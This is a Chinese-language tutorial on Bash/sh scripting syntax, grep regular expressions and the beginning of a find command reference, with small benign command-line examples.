    Shell脚本中用#表示注释,相当于C语言的//注释。但如果#位于第一行开头,并且是#!(称为Shebang)则例外,它表示该脚本使用后面指定的解释器/bin/sh解释执行。如果把这个脚本文件加上可执行权限然后执行:

    chmod a+x test.sh
    ./test.sh
    

    Shell会fork一个子进程并调用exec执行./test.sh这个程序,exec系统调用应该把子进程的代码段替换成./test.sh程序的代码段,并从它的_start开始执行。然而test.sh是个文本文件,根本没有代码段和_start函数,怎么办呢?其实exec还有另外一种机制,如果要执行的是一个文本文件,并且第一行用Shebang指定了解释器,则用解释器程序的代码段替换当前进程,并且从解释器的_start开始执行,而这个文本文件被当作命令行参数传给解释器。因此,执行上述脚本相当于执行程序

    $ /bin/sh ./test.sh
    

    以这种方式执行不需要test.sh文件具有可执行权限。

    如果将命令行下输入的命令用()括号括起来,那么也会fork出一个子Shell执行小括号中的命令,一行中可以输入由分号;隔开的多个命令,比如:

    $ (cd ..;ls -l)
    

    和上面两种方法执行Shell脚本的效果是相同的,cd ..命令改变的是子Shell的PWD,而不会影响到交互式Shell。然而命令

    $ cd ..;ls -l
    

    则有不同的效果,cd ..命令是直接在交互式Shell下执行的,改变交互式Shell的PWD,然而这种方式相当于这样执行Shell脚本:

    $ source ./test.sh
    

    或者

    $ . ./test.sh
    

    source或者.命令是Shell的内建命令,这种方式也不会创建子Shell,而是直接在交互式Shell下逐行执行脚本中的命令。

    基本语法

    变量

    按照惯例,Shell变量由全大写字母加下划线组成,有两种类型的Shell变量:

    1.环境变量

    环境变量可以从父进程传给子进程,因此Shell进程的环境变量可以从当前Shell进程传给fork出来的子进程。用printenv命令可以显示当前Shell进程的环境变量。

    2.本地变量

    只存在于当前Shell进程,用set命令可以显示当前Shell进程中定义的所有变量(包括本地变量和环境变量)和函数。

    环境变量是任何进程都有的概念,而本地变量是Shell特有的概念。在Shell中,环境变量和本地变量的定义和用法相似。在Shell中定义或赋值一个变量:

    itcast$ VARNAME=value
    

    注意等号两边都不能有空格,否则会被Shell解释成命令和命令行参数。

    一个变量定义后仅存在于当前Shell进程,它是本地变量,用export命令可以把本地变量导出为环境变量,定义和导出环境变量通常可以一步完成:

    itcast$ export VARNAME=value
    

    也可以分两步完成:

    itcast$ VARNAME=value
    itcast$ export VARNAME
    

    用unset命令可以删除已定义的环境变量或本地变量。

    itcast$ unset VARNAME
    

    如果一个变量叫做VARNAME,用${VARNAME}可以表示它的值,在不引起歧义的情况下也可以用$VARNAME表示它的值。通过以下例子比较这两种表示法的不同:

    itcast$ echo $SHELL
    

    注意,在定义变量时不用$,取变量值时要用$。和C语言不同的是,Shell变量不需要明确定义类型,事实上Shell变量的值都是字符串,比如我们定义VAR=45,其实VAR的值是字符串45而非整数。Shell变量不需要先定义后使用,如果对一个没有定义的变量取值,则值为空字符串。

    文件名代换(Globbing):* ? []

    这些用于匹配的字符称为通配符(Wildcard),具体如下:

    通配符
    
    *   匹配0个或多个任意字符
    ?   匹配一个任意字符
    [若干字符]  匹配方括号中任意一个字符的一次出现
    
    $ ls /dev/ttyS*
    $ ls ch0?.doc
    $ ls ch0[0-2].doc
    $ ls ch[012]   [0-9].doc
    

    注意,Globbing所匹配的文件名是由Shell展开的,也就是说在参数还没传给程序之前已经展开了,比如上述ls ch0[012].doc命令,如果当前目录下有ch00.doc和ch02.doc,则传给ls命令的参数实际上是这两个文件名,而不是一个匹配字符串。

    命令代换:`或 $()

    由'`'反引号括起来的也是一条命令,Shell先执行该命令,然后将输出结果立刻代换到当前命令行中。例如定义一个变量存放date命令的输出:

    itcast$ DATE=`date`
    itcast$ echo $DATE
    

    命令代换也可以用$()表示:

    itcast$ DATE=$(date)
    

    算术代换:$(())

    用于算术计算,$(())中的Shell变量取值将转换成整数,同样含义的$[]等价例如:

    itcast$ VAR=45
    itcast$ echo $(($VAR+3))
    $(())中只能用+-*/和()运算符,并且只能做整数运算。
    
    $[base#n],其中base表示进制,n按照base进制解释,后面再有运算数,按十进制解释。
    
    echo $[2#10+11]
    echo $[8#10+11]
    echo $[10#10+11]
    

    转义字符\

    和C语言类似,\在Shell中被用作转义字符,用于去除紧跟其后的单个字符的特殊意义(回车除外),换句话说,紧跟其后的字符取字面值。例如:

    itcast$ echo $SHELL
    /bin/bash
    itcast$ echo \$SHELL
    $SHELL
    itcast$ echo \\
    \
    

    比如创建一个文件名为“$ $”的文件可以这样:

    itcast$ touch \$\ \$
    

    还有一个字符虽然不具有特殊含义,但是要用它做文件名也很麻烦,就是-号。如果要创建一个文件名以-号开头的文件,这样是不行的:

    itcast$ touch -hello
    touch: invalid option -- h
    Try `touch --help' for more information.
    
    即使加上\转义也还是报错:
    
    itcast$ touch \-hello
    touch: invalid option -- h
    Try `touch --help' for more information.
    

    因为各种UNIX命令都把-号开头的命令行参数当作命令的选项,而不会当作文件名。如果非要处理以-号开头的文件名,可以有两种办法:

    itcast$ touch ./-hello
    

    或者

    itcast$ touch -- -hello
    

    \还有一种用法,在\后敲回车表示续行,Shell并不会立刻执行命令,而是把光标移到下一行,给出一个续行提示符>,等待用户继续输入,最后把所有的续行接到一起当作一个命令执行。例如:

    itcast$ ls \
    > -l
    (ls -l命令的输出)
    

    单引号

    和C语言不一样,Shell脚本中的单引号和双引号一样都是字符串的界定符(双引号下一节介绍),而不是字符的界定符。单引号用于保持引号内所有字符的字面值,即使引号内的\和回车也不例外,但是字符串中不能出现单引号。如果引号没有配对就输入回车,Shell会给出续行提示符,要求用户把引号配上对。例如:

    itcast$ echo '$SHELL'
    $SHELL
    itcast$ echo 'ABC\(回车)
    > DE'(再按一次回车结束命令)
    ABC\
    DE
    

    双引号

    被双引号用括住的内容,将被视为单一字串。它防止通配符扩展,但允许变量扩展。这点与单引号的处理方式不同

    itcast$ DATE=$(date)
    itcast$ echo "$DATE"
    itcast$ echo '$DATE'
    

    Shell脚本语法

    条件测试:test [

    命令test或[可以测试一个条件是否成立,如果测试结果为真,则该命令的Exit Status为0,如果测试结果为假,则命令的Exit Status为1(注意与C语言的逻辑表示正好相反)。例如测试两个数的大小关系:

    itcast@ubuntu:~$ var=2
    itcast@ubuntu:~$ test $var -gt 1
    itcast@ubuntu:~$ echo $?
    0
    itcast@ubuntu:~$ test $var -gt 3
    itcast@ubuntu:~$ echo $?
    1
    itcast@ubuntu:~$ [ $var -gt 3 ]
    itcast@ubuntu:~$ echo $?
    1
    itcast@ubuntu:~$
    

    虽然看起来很奇怪,但左方括号[确实是一个命令的名字,传给命令的各参数之间应该用空格隔开,比如,$VAR、-gt、3、]是[命令的四个参数,它们之间必须用空格隔开。命令test或[的参数形式是相同的,只不过test命令不需要]参数。以[命令为例,常见的测试命令如下表所示:

    [ -d DIR ]              如果DIR存在并且是一个目录则为真
    [ -f FILE ]             如果FILE存在且是一个普通文件则为真
    [ -z STRING ]           如果STRING的长度为零则为真
    [ -n STRING ]           如果STRING的长度非零则为真
    [ STRING1 = STRING2 ]   如果两个字符串相同则为真
    [ STRING1 != STRING2 ]  如果字符串不相同则为真
    [ ARG1 OP ARG2 ]        ARG1和ARG2应该是整数或者取值为整数的变量,OP是-eq(等于)-ne(不等于)-lt(小于)-le(小于等于)-gt(大于)-ge(大于等于)之中的一个
    

    和C语言类似,测试条件之间还可以做与、或、非逻辑运算:

    带与、或、非的测试命令
    
    [ ! EXPR ]          EXPR可以是上表中的任意一种测试条件,!表示逻辑反
    [ EXPR1 -a EXPR2 ]  EXPR1和EXPR2可以是上表中的任意一种测试条件,-a表示逻辑与
    [ EXPR1 -o EXPR2 ]  EXPR1和EXPR2可以是上表中的任意一种测试条件,-o表示逻辑或
    

    例如:

    $ VAR=abc
    $ [ -d Desktop -a $VAR = 'abc' ]
    $ echo $?
    0
    

    注意,如果上例中的$VAR变量事先没有定义,则被Shell展开为空字符串,会造成测试条件的语法错误(展开为[ -d Desktop -a = 'abc' ]),作为一种好的Shell编程习惯,应该总是把变量取值放在双引号之中(展开为[ -d Desktop -a "" = 'abc' ]):

    $ unset VAR
    $ [ -d Desktop -a $VAR = 'abc' ]
    bash: [: too many arguments
    $ [ -d Desktop -a "$VAR" = 'abc' ]
    $ echo $?
    1
    

    if/then/elif/else/fi

    和C语言类似,在Shell中用if、then、elif、else、fi这几条命令实现分支控制。这种流程控制语句本质上也是由若干条Shell命令组成的,例如先前讲过的

    if [ -f ~/.bashrc ]; then
        . ~/.bashrc
    fi
    

    其实是三条命令,if [ -f ~/.bashrc ]是第一条,then . ~/.bashrc是第二条,fi是第三条。如果两条命令写在同一行则需要用;号隔开,一行只写一条命令就不需要写;号了,另外,then后面有换行,但这条命令没写完,Shell会自动续行,把下一行接在then后面当作一条命令处理。和[命令一样,要注意命令和各参数之间必须用空格隔开。if命令的参数组成一条子命令,如果该子命令的Exit Status为0(表示真),则执行then后面的子命令,如果Exit Status非0(表示假),则执行elif、else或者fi后面的子命令。if后面的子命令通常是测试命令,但也可以是其它命令。Shell脚本没有{}括号,所以用fi表示if语句块的结束。见下例:

    #! /bin/sh
    
    if [ -f /bin/bash ]
    then echo "/bin/bash is a file"
    else echo "/bin/bash is NOT a file"
    fi
    if :; then echo "always true"; fi
    

    :是一个特殊的命令,称为空命令,该命令不做任何事,但Exit Status总是真。此外,也可以执行/bin/true或/bin/false得到真或假的Exit Status。再看一个例子:

        #! /bin/sh
    
        echo "Is it morning? Please answer yes or no."
        read YES_OR_NO
        if [ "$YES_OR_NO" = "yes" ]; then
          echo "Good morning!"
        elif [ "$YES_OR_NO" = "no" ]; then
          echo "Good afternoon!"
        else
          echo "Sorry, $YES_OR_NO not recognized. Enter yes or no."
          exit 1
        fi
        exit 0
    

    上例中的read命令的作用是等待用户输入一行字符串,将该字符串存到一个Shell变量中。

    此外,Shell还提供了&&和||语法,和C语言类似,具有Short-circuit特性,很多Shell脚本喜欢写成这样:

    test "$(whoami)" != 'root' && (echo you are using a non-privileged account; exit 1)
    

    &&相当于“if...then...”,而||相当于“if not...then...”。&&和||用于连接两个命令,而上面讲的-a和-o仅用于在测试表达式中连接两个测试条件,要注意它们的区别,例如,

    test "$VAR" -gt 1 -a "$VAR" -lt 3
    

    和以下写法是等价的

    test "$VAR" -gt 1 && test "$VAR" -lt 3
    

    case/esac

    case命令可类比C语言的switch/case语句,esac表示case语句块的结束。C语言的case只能匹配整型或字符型常量表达式,而Shell脚本的case可以匹配字符串和Wildcard,每个匹配分支可以有若干条命令,末尾必须以;;结束,执行时找到第一个匹配的分支并执行相应的命令,然后直接跳到esac之后,不需要像C语言一样用break跳出。

        #! /bin/sh
    
        echo "Is it morning? Please answer yes or no."
        read YES_OR_NO
        case "$YES_OR_NO" in
        yes|y|Yes|YES)
          echo "Good Morning!";;
        [nN]*)
          echo "Good Afternoon!";;
        *)
          echo "Sorry, $YES_OR_NO not recognized. Enter yes or no."
          exit 1;;
        esac
        exit 0
    

    使用case语句的例子可以在系统服务的脚本目录/etc/init.d中找到。这个目录下的脚本大多具有这种形式(以/etc/init.d/nfs-kernel-server为例):

        case "$1" in
            start)
                ...
            ;;
            stop)
                ...
            ;;
            reload | force-reload)
                ...
            ;;
            restart)
            ...
            *)
                log_success_msg "Usage: nfs-kernel-server {start|stop|status|reload|force-reload|restart}"
                exit 1
            ;;
        esac
    

    启动nfs-kernel-server服务的命令是

    $ sudo /etc/init.d/nfs-kernel-server start
    

    $1是一个特殊变量,在执行脚本时自动取值为第一个命令行参数,也就是start,所以进入start)分支执行相关的命令。同理,命令行参数指定为stop、reload或restart可以进入其它分支执行停止服务、重新加载配置文件或重新启动服务的相关命令。

    for/do/done

    Shell脚本的for循环结构和C语言很不一样,它类似于某些编程语言的foreach循环。例如:

        #! /bin/sh
    
        for FRUIT in apple banana pear; do
          echo "I like $FRUIT"
        done
    
    FRUIT是一个循环变量,第一次循环$FRUIT的取值是apple,第二次取值是banana,第三次取值是pear。再比如,要将当前目录下的chap0、chap1、chap2等文件名改为chap0~、chap1~、chap2~等(按惯例,末尾有~字符的文件名表示临时文件),这个命令可以这样写:
    
    $ for FILENAME in chap?; do mv $FILENAME $FILENAME~; done
    

    也可以这样写:

    $ for FILENAME in `ls chap?`; do mv $FILENAME $FILENAME~; done
    

    while/do/done

    while的用法和C语言类似。比如一个验证密码的脚本:

        #! /bin/sh
    
        echo "Enter password:"
        read TRY
        while [ "$TRY" != "secret" ]; do
          echo "Sorry, try again"
          read TRY
        done
    

    下面的例子通过算术运算控制循环的次数:

        #! /bin/sh
    
        COUNTER=1
        while [ "$COUNTER" -lt 10 ]; do
          echo "Here we go again"
          COUNTER=$(($COUNTER+1))
        done
    

    Shell还有until循环,类似C语言的do...while循环。本章从略。

    break和continue

    break[n]可以指定跳出几层循环,continue跳过本次循环步,没跳出整个循环。

    break跳出,continue跳过。

    习题

    1、把上面验证密码的程序修改一下,如果用户输错五次密码就报错退出。

    位置参数和特殊变量

    有很多特殊变量是被Shell自动赋值的,我们已经遇到了$?和$1,现在总结一下:

    常用的位置参数和特殊变量

    $0  相当于C语言main函数的argv[0]
    $1、$2...    这些称为位置参数(Positional Parameter),相当于C语言main函数的argv[1]、argv[2]...
    $#  相当于C语言main函数的argc - 1,注意这里的#后面不表示注释
    $@  表示参数列表"$1" "$2" ...,例如可以用在for循环中的in后面。
    $*  表示参数列表"$1" "$2" ...,同上
    $?  上一条命令的Exit Status
    $$  当前进程号
    

    位置参数可以用shift命令左移。比如shift 3表示原来的$4现在变成$1,原来的$5现在变成$2等等,原来的$1、$2、$3丢弃,$0不移动。不带参数的shift命令相当于shift 1。例如:

        #! /bin/sh
    
        echo "The program $0 is now running"
        echo "The first parameter is $1"
        echo "The second parameter is $2"
        echo "The parameter list is $@"
        shift
        echo "The first parameter is $1"
        echo "The second parameter is $2"
        echo "The parameter list is $@"
    

    shell输入输出

    echo

    echo显示文本行或变量,或者把字符串输入到文件。

    echo [option] string
    -e 解析转义字符
    -n 不回车换行。默认情况echo回显的内容后面跟一个回车换行。
    echo "hello\n\n"
    echo -e "hello\n\n"
    echo  "hello"
    echo -n "hello"
    

    管道|

    可以通过管道把一个命令的输出传递给另一个命令做输入。管道用竖线表示。

    cat myfile | more
    ls -l | grep "myfile"
    df -k | awk '{print $1}' | grep -v "文件系统"
    df -k 查看磁盘空间,找到第一列,去除“文件系统”,并输出
    

    tee

    tee命令把结果输出到标准输出,另一个副本输出到相应文件。

    df -k | awk '{print $1}' | grep -v "文件系统" | tee a.txt
    
    tee -a a.txt表示追加操作。
    df -k | awk '{print $1}' | grep -v "文件系统" | tee -a a.txt
    

    文件重定向

    cmd > file             把标准输出重定向到新文件中
    cmd >> file            追加
    cmd > file 2>&1        标准出错也重定向到1所指向的file里
    cmd >> file 2>&1
    cmd < file1 > file2    输入输出都定向到文件里
    cmd < &fd              把文件描述符fd作为标准输入
    cmd > &fd              把文件描述符fd作为标准输出
    cmd < &-               关闭标准输入
    

    函数

    和C语言类似,Shell中也有函数的概念,但是函数定义中没有返回值也没有参数列表。例如:

        #! /bin/sh
    
        foo(){ echo "Function foo is called";}
        echo "-=start=-"
        foo
        echo "-=end=-"
    

    注意函数体的左花括号'{'和后面的命令之间必须有空格或换行,如果将最后一条命令和右花括号'}'写在同一行,命令末尾必须有;号。

    在定义foo()函数时并不执行函数体中的命令,就像定义变量一样,只是给foo这个名字一个定义,到后面调用foo函数的时候(注意Shell中的函数调用不写括号)才执行函数体中的命令。Shell脚本中的函数必须先定义后调用,一般把函数定义都写在脚本的前面,把函数调用和其它命令写在脚本的最后(类似C语言中的main函数,这才是整个脚本实际开始执行命令的地方)。

    Shell函数没有参数列表并不表示不能传参数,事实上,函数就像是迷你脚本,调用函数时可以传任意个参数,在函数内同样是用$0、$1、$2等变量来提取参数,函数中的位置参数相当于函数的局部变量,改变这些变量并不会影响函数外面的$0、$1、$2等变量。函数中可以用return命令返回,如果return后面跟一个数字则表示函数的Exit Status。

    下面这个脚本可以一次创建多个目录,各目录名通过命令行参数传入,脚本逐个测试各目录是否存在,如果目录不存在,首先打印信息然后试着创建该目录。

        #! /bin/sh
    
        is_directory()
        {
          DIR_NAME=$1
          if [ ! -d $DIR_NAME ]; then
            return 1
          else
            return 0
          fi
        }
    
        for DIR in "$@"; do
          if is_directory "$DIR"
          then :
          else
            echo "$DIR doesn't exist. Creating it now..."
            mkdir $DIR > /dev/null 2>&1
            if [ $? -ne 0 ]; then
              echo "Cannot create directory $DIR"
              exit 1
            fi
          fi
        done
    

    注意is_directory()返回0表示真返回1表示假。

    Shell脚本的调试方法

    Shell提供了一些用于调试脚本的选项,如下所示:

    -n

    读一遍脚本中的命令但不执行,用于检查脚本中的语法错误

    -v

    一边执行脚本,一边将执行过的脚本命令打印到标准错误输出

    -x

    提供跟踪执行信息,将执行的每一条命令和结果依次打印出来

    使用这些选项有三种方法,一是在命令行提供参数

        $ sh -x ./script.sh
    

    二是在脚本开头提供参数

        #! /bin/sh -x
    

    第三种方法是在脚本中用set命令启用或禁用参数

        #! /bin/sh
        if [ -z "$1" ]; then
          set -x
          echo "ERROR: Insufficient Args."
          exit 1
          set +x
        fi
    

    set -x和set +x分别表示启用和禁用-x参数,这样可以只对脚本中的某一段进行跟踪调试。

    正则表达式

    以前我们用grep在一个文件中找出包含某些字符串的行,比如在头文件中找出一个宏定义。其实grep还可以找出符合某个模式(Pattern)的一类字符串。例如找出所有符合xxxxx@xxxx.xxx模式的字符串(也就是email地址),要求x字符可以是字母、数字、下划线、小数点或减号,email地址的每一部分可以有一个或多个x字符,例如abc.d@ef.com、1_2@987-6.54,当然符合这个模式的不全是合法的email地址,但至少可以做一次初步筛选,筛掉a.b、c@d等肯定不是email地址的字符串。再比如,找出所有符合yyy.yyy.yyy.yyy模式的字符串(也就是IP地址),要求y是0-9的数字,IP地址的每一部分可以有1-3个y字符。

    如果要用grep查找一个模式,如何表示这个模式,这一类字符串,而不是一个特定的字符串呢?从这两个简单的例子可以看出,要表示一个模式至少应该包含以下信息:

    字符类(Character Class):如上例的x和y,它们在模式中表示一个字符,但是取值范围是一类字符中的任意一个。

    数量限定符(Quantifier): 邮件地址的每一部分可以有一个或多个x字符,IP地址的每一部分可以有1-3个y字符

    各种字符类以及普通字符之间的位置关系:例如邮件地址分三部分,用普通字符@和.隔开,IP地址分四部分,用.隔开,每一部分都可以用字符类和数量限定符描述。为了表示位置关系,还有位置限定符(Anchor)的概念,将在下面介绍。

    规定一些特殊语法表示字符类、数量限定符和位置关系,然后用这些特殊语法和普通字符一起表示一个模式,这就是正则表达式(Regular Expression)。例如email地址的正则表达式可以写成[a-zA-Z0-9_.-]+@[a-zA-Z0-9_.-]+.[a-zA-Z0-9_.-]+,IP地址的正则表达式可以写成[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}。下一节介绍正则表达式的语法,我们先看看正则表达式在grep中怎么用。例如有这样一个文本文件testfile:

    192.168.1.1
    1234.234.04.5678
    123.4234.045.678
    abcde
    

    查找其中包含IP地址的行:

    $ egrep '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' testfile
    192.168.1.1
    1234.234.04.5678
    

    egrep相当于grep -E,表示采用Extended正则表达式语法。grep的正则表达式有Basic和Extended两种规范,它们之间的区别下一节再解释。另外还有fgrep命令,相当于grep -F,表示只搜索固定字符串而不搜索正则表达式模式,不会按正则表达式的语法解释后面的参数。

    注意正则表达式参数用单引号括起来了,因为正则表达式中用到的很多特殊字符在Shell中也有特殊含义(例如\),只有用单引号括起来才能保证这些字符原封不动地传给grep命令,而不会被Shell解释掉。

    192.168.1.1符合上述模式,由三个.隔开的四段组成,每段都是1到3个数字,所以这一行被找出来了,可为什么1234.234.04.5678也被找出来了呢?因为grep找的是包含某一模式的行,这一行包含一个符合模式的字符串234.234.04.567。相反,123.4234.045.678这一行不包含符合模式的字符串,所以不会被找出来。

    grep是一种查找过滤工具,正则表达式在grep中用来查找符合模式的字符串。其实正则表达式还有一个重要的应用是验证用户输入是否合法,例如用户通过网页表单提交自己的email地址,就需要用程序验证一下是不是合法的email地址,这个工作可以在网页的Javascript中做,也可以在网站后台的程序中做,例如PHP、Perl、Python、Ruby、Java或C,所有这些语言都支持正则表达式,可以说,目前不支持正则表达式的编程语言实在很少见。除了编程语言之外,很多UNIX命令和工具也都支持正则表达式,例如grep、vi、sed、awk、emacs等等。“正则表达式”就像“变量”一样,它是一个广泛的概念,而不是某一种工具或编程语言的特性。

    基本语法

    我们知道C的变量和Shell脚本变量的定义和使用方法很不相同,表达能力也不相同,C的变量有各种类型,而Shell脚本变量都是字符串。同样道理,各种工具和编程语言所使用的正则表达式规范的语法并不相同,表达能力也各不相同,有的正则表达式规范引入很多扩展,能表达更复杂的模式,但各种正则表达式规范的基本概念都是相通的。本节介绍egrep(1)所使用的正则表达式,它大致上符合POSIX正则表达式规范,详见regex(7)(看这个man page对你的英文绝对是很好的锻炼)。希望读者仿照上一节的例子,一边学习语法,一边用egrep命令做实验。

    字符类

    字符  含义               举例
    .   匹配任意一个字符          abc.可以匹配abcd、abc9等
    []  匹配括号中的任意一个字符  [abc]d可以匹配ad、bd或cd
    -   在[]括号内表示字符范围    [0-9a-fA-F]可以匹配一位十六进制数字
    ^   位于[]括号内的开头,匹配除括号中的字符之外的任意一个字符  [^xy]匹配除xy之外的任一字符,因此[^xy]1可以匹配a1、b1但不匹配x1、y1
    
    [[:xxx:]]   grep工具预定义的一些命名字符类   [[:alpha:]]匹配一个字母,[[:digit:]]匹配一个数字
    

    数量限定符

    字符    含义                             举例
    ?   紧跟在它前面的单元应匹配零次或一次    [0-9]?\.[0-9]匹配0.0、2.3、.5等,由于.在正则表达式中是一个特殊字符,所以需要用\转义一下,取字面值
    +   紧跟在它前面的单元应匹配一次或多次    [a-zA-Z0-9_.-]+@[a-zA-Z0-9_.-]+\.[a-zA-Z0-9_.-]+匹配email地址
    *   紧跟在它前面的单元应匹配零次或多次    [0-9][0-9]*匹配至少一位数字,等价于[0-9]+,[a-zA-Z_]+[a-zA-Z_0-9]*匹配C语言的标识符
    {N} 紧跟在它前面的单元应精确匹配N次       [1-9][0-9]{2}匹配从100到999的整数
    {N,}  紧跟在它前面的单元应匹配至少N次     [1-9][0-9]{2,}匹配三位以上(含三位)的整数
    {,M}  紧跟在它前面的单元应匹配最多M次     [0-9]{,1}相当于[0-9]?
    {N,M} 紧跟在它前面的单元应匹配至少N次,最多M次   [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}匹配IP地址
    

    再次注意grep找的是包含某一模式的行,而不是完全匹配某一模式的行。再举个例子,如果文本文件的内容是

    aaabc
    aad
    efg
    

    查找a*这个模式的结果是三行都被找出来了

    $ egrep 'a*' testfile 
    aabc
    aad
    efg
    

    a匹配0个或多个a,而第三行包含0个a,所以也包含了这一模式。单独用a这样的正则表达式做查找没什么意义,一般是把a*作为正则表达式的一部分来用。

    位置限定符

        字符  含义                举例
        ^   匹配行首的位置        ^Content匹配位于一行开头的Content
        $   匹配行末的位置        ;$匹配位于一行结尾的;号,^$匹配空行
        \<  匹配单词开头的位置    \<th匹配... this,但不匹配ethernet、tenth
        \>  匹配单词结尾的位置    p\>匹配leap ...,但不匹配parent、sleepy
        \b  匹配单词开头或结尾的位置     \bat\b匹配... at ...,但不匹配cat、atexit、batch
        \B  匹配非单词开头和结尾的位置   \Bat\B匹配battery,但不匹配... attend、hat ...
    

    位置限定符可以帮助grep更准确地查找,例如上一节我们用[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}查找IP地址,找到这两行

    192.168.1.1
    1234.234.04.5678
    

    如果用^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$查找,就可以把1234.234.04.5678这一行过滤掉了。

    其它特殊字符

    字符  含义    举例
    \    转义字符,普通字符转义为特殊字符,特殊字符转义为普通字符   普通字符<写成\<表示单词开头的位置,特殊字符.写成\.以及\写成\\就当作普通字符来匹配
    ()   将正则表达式的一部分括起来组成一个单元,可以对整个单元使用数量限定符    ([0-9]{1,3}\.){3}[0-9]{1,3}匹配IP地址
    |    连接两个子表达式,表示或的关系     n(o|either)匹配no或neither
    

    以上介绍的是grep正则表达式的Extended规范,Basic规范也有这些语法,只是字符?+{}|()应解释为普通字符,要表示上述特殊含义则需要加\转义。如果用grep而不是egrep,并且不加-E参数,则应该遵照Basic规范来写正则表达式。

    grep

    1.作用

    Linux系统中grep命令是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹 配的行打印出来。grep全称是Global Regular Expression Print,表示全局正则表达式版本,它的使用权限是所有用户。

    grep家族包括grep、egrep和fgrep。egrep和fgrep的命令只跟grep有很小不同。egrep是grep的扩展,支持更多的re元字符, fgrep就是fixed grep或fast grep,它们把所有的字母都看作单词,也就是说,正则表达式中的元字符表示回其自身的字面意义,不再特殊。linux使用GNU版本的grep。它功能更强,可以通过-G、-E、-F命令行选项来使用egrep和fgrep的功能。

    2.格式

    grep [options]
    

    3.主要参数

    grep --help
    
    [options]主要参数:
    -c:只输出匹配行的计数。
    -i:不区分大小写。
    -h:查询多文件时不显示文件名。
    -l:查询多文件时只输出包含匹配字符的文件名。
    -n:显示匹配行及 行号。
    -s:不显示不存在或无匹配文本的错误信息。
    -v:显示不包含匹配文本的所有行。
    --color=auto :可以将找到的关键词部分加上颜色的显示。
    

    pattern正则表达式主要参数:

    \: 忽略正则表达式中特殊字符的原有含义。
    ^:匹配正则表达式的开始行。
    $: 匹配正则表达式的结束行。
    \<:从匹配正则表达 式的行开始。
    \>:到匹配正则表达式的行结束。
    [ ]:单个字符,如[A]即A符合要求 。
    [ - ]:范围,如[A-Z],即A、B、C一直到Z都符合要求 。
    .:所有的单个字符。
    *:有字符,长度可以为0。
    

    4.grep命令使用简单实例

    $ grep ‘test’ d*
    显示所有以d开头的文件中包含 test的行。
    
    $ grep ‘test’ aa bb cc
    显示在aa,bb,cc文件中匹配test的行。
    
    $ grep ‘[a-z]\{5\}’ aa
    显示所有包含每个字符串至少有5个连续小写字符的字符串的行。
    
    $ grep ‘w\(es\)t.*\1′ aa
    如果west被匹配,则es就被存储到内存中,并标记为1,然后搜索任意个字符(.*),这些字符后面紧跟着 另外一个es(\1),找到就显示该行。如果用egrep或grep -E,就不用”\”号进行转义,直接写成’w(es)t.*\1′就可以了。
    

    5.grep命令使用复杂实例

    明确要求搜索子目录:

    grep -r
    

    或忽略子目录:

    grep -d skip
    

    如果有很多输出时,您可以通过管道将其转到’less’上阅读:

    $ grep magic /usr/src/Linux/Documentation/* | less
    

    这样,您就可以更方便地阅读。

    有一点要注意,您必需提供一个文件过滤方式(搜索全部文件的话用 *)。如果您忘了,’grep’会一直等着,直到该程序被中断。如果您遇到了这样的情况,按 ,然后再试。

    下面还有一些有意思的命令行参数:

    grep -i pattern files :不区分大小写地搜索。默认情况区分大小写,
    grep -l pattern files :只列出匹配的文件名,
    grep -L pattern files :列出不匹配的文件名,
    grep -w pattern files :只匹配整个单词,而不是字符串的一部分(如匹配’magic’,而不是’magical’),
    grep -C number pattern files :匹配的上下文分别显示[number]行,
    grep pattern1 | pattern2 files :显示匹配 pattern1 或 pattern2 的行,
    例如:grep "abc\|xyz" testfile    表示过滤包含abc或xyz的行
    grep pattern1 files | grep pattern2 :显示既匹配 pattern1 又匹配 pattern2 的行。
    
    grep -n pattern files  即可显示行号信息
    
    grep -c pattern files  即可查找总行数
    

    这里还有些用于搜索的特殊符号:

    \< 和 \> 分别标注单词的开始与结尾。
    例如:
    grep man * 会匹配 ‘Batman’、’manic’、’man’等,
    grep ‘\<man’ * 匹配’manic’和’man’,但不是’Batman’,
    grep ‘\<man\>’ 只匹配’man’,而不是’Batman’或’manic’等其他的字符串。
    ‘^’:指匹配的字符串在行首,
    ‘$’:指匹配的字符串在行 尾,
    

    find

    由于find具有强大的功能,所以它的选项也很多,其中大部分选项都值得我们花时间来了解一下。即使系统中含有网络文件系统( NFS),find命令在该文件系统中同样有效,只要你具有相应的权限。

    在运行一个非常消耗资源的find命令时,很多人都倾向于把它放在后台执行,因为遍历一个大的文件系统可能会花费很长的时间(这里是指30G字节以上的文件系统)。

    一、find 命令格式

    1、find命令的一般形式为;

    find pathname -options [-print -exec -ok ...]
    

    2、find命令的参数;

    pathname: find命令所查找的目录路径。例如用.来表示当前目录,用/来表示系统根目录,递归查找。
    -print: find命令将匹配的文件输出到标准输出。
    -exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为'command' {  } \;,注意{   }和\;之间的空格。
    -ok: 和-exec的作用相同,只不过以一种更为安全的模式来执行该参数所给出的shell命令,在执行每一个命令之前,都会给出提示,让用户来确定是否执行。
    

    3、find命令选项

    -name   按照文件名查找文件。
    -perm   按照文件权限来查找文件。
    -prune  使用这一选项可以使find命令不在当前指定的目录中查找,如果同时使用-depth选项,那么-prune将被find命令忽略。
    -user   按照文件属主来查找文件。
    -group  按照文件所属的组来查找文件。
    -mtime -n +n 按照文件的更改时间来查找文件,-n表示文件更改时间距现在n天以内,+n表示文件更改时间距现在n天以前。find命令还有-atime和-ctime 选项,但它们都和-m time选项。
    -nogroup 查找无有效所属组的文件,即该文件所属的组在/etc/groups中不存在。
    -nouser 查找无有效属主的文件,即该文件的属主在/etc/passwd中不存在。
    -newer file1 ! file2 查找更改时间比文件file1新但比文件file2旧的文件。
    -type   查找某一类型的文件,诸如:
        b - 块设备文件。
        d - 目录。
        c - 字符设备文件。
        p - 管道文件。
        l - 符号链接文件。
        f - 普通文件。
    -size n:[c] 查找文件长度为n块的文件,带有c时表示文件长度以字节计。
    -depth   在查找文件时,首先查找当前目录中的文件,然后再在其子目录中查找。
